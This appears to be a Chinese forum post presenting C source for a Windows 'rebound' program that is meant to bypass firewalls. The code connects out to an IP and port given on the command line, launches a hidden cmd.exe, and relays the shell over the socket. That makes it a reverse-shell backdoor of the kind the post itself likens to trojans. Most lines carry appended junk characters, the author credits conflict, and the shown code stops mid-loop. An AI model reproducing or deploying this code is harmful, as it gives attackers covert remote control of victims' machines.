这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ZH~m%sA
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/* ============================== r7w&p.?
Rebound port in Windows NT G H^i,88
By wind,2006/7 *"1]NAz+
===============================*/ G%rK{h
#include HOu<,9?>Q
#include ?c=l"\^x
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#pragma comment(lib,"wsock32.lib") {-<h5_h@
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void OutputShell(); &)\0mpLK9
SOCKET sClient; 0W]Wu[k
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; / ^!(rHf
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void main(int argc,char **argv) "L{;=-e
{ Ak>RLD25_
WSADATA stWsaData; "kf7??Z
int nRet; CBi
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SOCKADDR_IN stSaiClient,stSaiServer; mL3'/3-7:V
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if(argc != 3) G7zfyw}W
{ p3sz32RX
printf("Useage:\n\rRebound DestIP DestPort\n"); )`;?%N\
return; ng<|lsZd
} ap_(/W
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WSAStartup(MAKEWORD(2,2),&stWsaData); $,'r}
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?uh7m2l0D
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stSaiClient.sin_family = AF_INET; EY> %#0
stSaiClient.sin_port = htons(0); c3K(mM:
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); : @YZ6?hf
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) z2 nDD6N
{ ){8^l0b
printf("Bind Socket Failed!\n"); kk^KaD4dA
return; Vf O0 z5&
} 5r`g6@
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stSaiServer.sin_family = AF_INET; JX>_imo
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5 _] i==M
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); IjNE1b$
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1/j}VC
{ 2/(gf[elX
printf("Connect Error!"); mlIc`GSI
return; gIRFqEz@o
} 9>[$;>
OutputShell(); )UN@|IX
} OG}0{?
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void OutputShell() +gK7`:v4O*
{ P +oCcYp
char szBuff[1024]; [.|tD
SECURITY_ATTRIBUTES stSecurityAttributes; [+ 1([#
OSVERSIONINFO stOsversionInfo; rK)%n!Z
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [ub,&j^
STARTUPINFO stStartupInfo; `Mp]iD{
char *szShell; 8Ck:c45v
PROCESS_INFORMATION stProcessInformation; ^VoQGP/cl
unsigned long lBytesRead; DF9Br
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ZLo3
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Q/0;r{@Tq}
stSecurityAttributes.lpSecurityDescriptor = 0; >TK`s@jdSV
stSecurityAttributes.bInheritHandle = TRUE; -XD\,y%zi
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2lXsD;[
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 24|:VxO
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); f)N67z6
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WET $H,
stStartupInfo.wShowWindow = SW_HIDE; b%T-nY2
stStartupInfo.hStdInput = hReadPipe; x"_f$,:!
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; GTJ\APrH
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GetVersionEx(&stOsversionInfo); vT3LhN+1
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switch(stOsversionInfo.dwPlatformId) VJuPC
{ Zw"6-h4
case 1: E/AM<eN
szShell = "command.com"; bCA3w%,kM
break; Cg )#B+
default: d v@6wp:
szShell = "cmd.exe"; r_
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break; uA\A4
} ed*=p
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); f~W.i]
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send(sClient,szMsg,77,0); ZOS{F_2.
while(1) hFQC%N.'
{ ki}Uw#
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (;Lz`r'
if(lBytesRead) TvM{ QGN
{ }R}tIC-:
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _FAwW<S4B
send(sClient,szBuff,lBytesRead,0); xZ4\.K\f]
} {jlm]<